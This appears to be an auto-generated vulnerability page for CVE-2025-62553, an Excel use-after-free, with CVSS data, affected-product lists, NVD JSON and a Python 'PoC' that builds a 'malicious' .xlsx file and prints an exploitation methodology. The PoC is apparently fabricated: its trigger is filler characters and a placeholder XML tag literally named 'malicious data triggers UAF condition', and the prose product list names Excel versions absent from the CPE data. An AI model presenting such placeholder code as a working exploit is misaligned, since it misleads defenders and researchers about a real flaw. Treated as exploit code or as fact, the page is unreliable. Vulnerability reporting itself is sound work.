Security Vulnerability Report
中文
CVE-2025-62553 CVSS 7.8 HIGH

CVE-2025-62553

Published: 2025-12-09 18:16:00
Last Modified: 2025-12-09 19:36:11

Description

Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office Excel 2016 (32-bit and 64-bit Editions)
Microsoft Office Excel 2013 (32-bit and 64-bit Editions)
Microsoft Office Excel 2010 (32-bit and 64-bit Editions)
Microsoft 365 Apps for Enterprise
Microsoft Office 2019
Microsoft Office LTSC 2021

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-62553 PoC - Microsoft Office Excel Use After Free # This is a conceptual PoC for educational purposes only import struct import zipfile import os from xml.etree import ElementTree as ET class CVE202562553_PoC: def __init__(self): self.output_file = "CVE-2025-62553 malicious.xlsx" def create_malicious_excel(self): """ Create a malicious Excel file that triggers Use After Free in Microsoft Office Excel. """ print(f"[*] Generating malicious Excel file: {self.output_file}") # Create a minimal Excel file structure with zipfile.ZipFile(self.output_file, 'w', zipfile.ZIP_DEFLATED) as xlsx: # [Content_Types].xml content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' xlsx.writestr('[Content_Types].xml', content_types) # _rels/.rels rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''' xlsx.writestr('_rels/.rels', rels) # xl/_rels/workbook.xml.rels wb_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''' xlsx.writestr('xl/_rels/workbook.xml.rels', wb_rels) # xl/workbook.xml workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' xlsx.writestr('xl/workbook.xml', workbook) # xl/worksheets/sheet1.xml - Malicious content # This contains crafted data to trigger UAF condition sheet1 = self._generate_malicious_sheet() xlsx.writestr('xl/worksheets/sheet1.xml', sheet1) print(f"[+] Malicious Excel file created: {self.output_file}") print("[+] This file is designed to trigger CVE-2025-62553") print("[+] WARNING: For authorized security testing only!") def _generate_malicious_sheet(self): """ Generate malicious worksheet XML with UAF trigger payload """ # Crafted XML to trigger Use After Free in Excel's memory management malicious_sheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="s"> <v>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</v> </c> </row> </sheetData> <extLst> <ext uri="{BE8C2C83-B6F8-46C9-9A2B-0E0A3F9D8C7B}"> <恶意数据触发UAF条件/> </ext> </extLst> </worksheet>''' return malicious_sheet def create_exploit_documentation(self): """ Create documentation for the exploit methodology """ doc = """ ======================================================================== CVE-2025-62553 Exploitation Methodology ======================================================================== Target: Microsoft Office Excel (Multiple versions) Vulnerability: Use After Free (CWE-416) CVSS Score: 7.8 (High) Attack Vector: 1. Attacker creates malicious Excel file with crafted data 2. Victim opens the file in Microsoft Excel 3. Excel's memory management triggers UAF condition 4. Attacker-controlled data written to freed memory 5. Arbitrary code execution achieved in Excel process context Prerequisites: - User must open the malicious file - No authentication required (PR:N) - Local access required (AV:L) ======================================================================== """ print(doc) if __name__ == "__main__": poc = CVE202562553_PoC() poc.create_malicious_excel() poc.create_exploit_documentation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62553", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:00.453", "lastModified": "2025-12-09T19:36:10.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62553", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}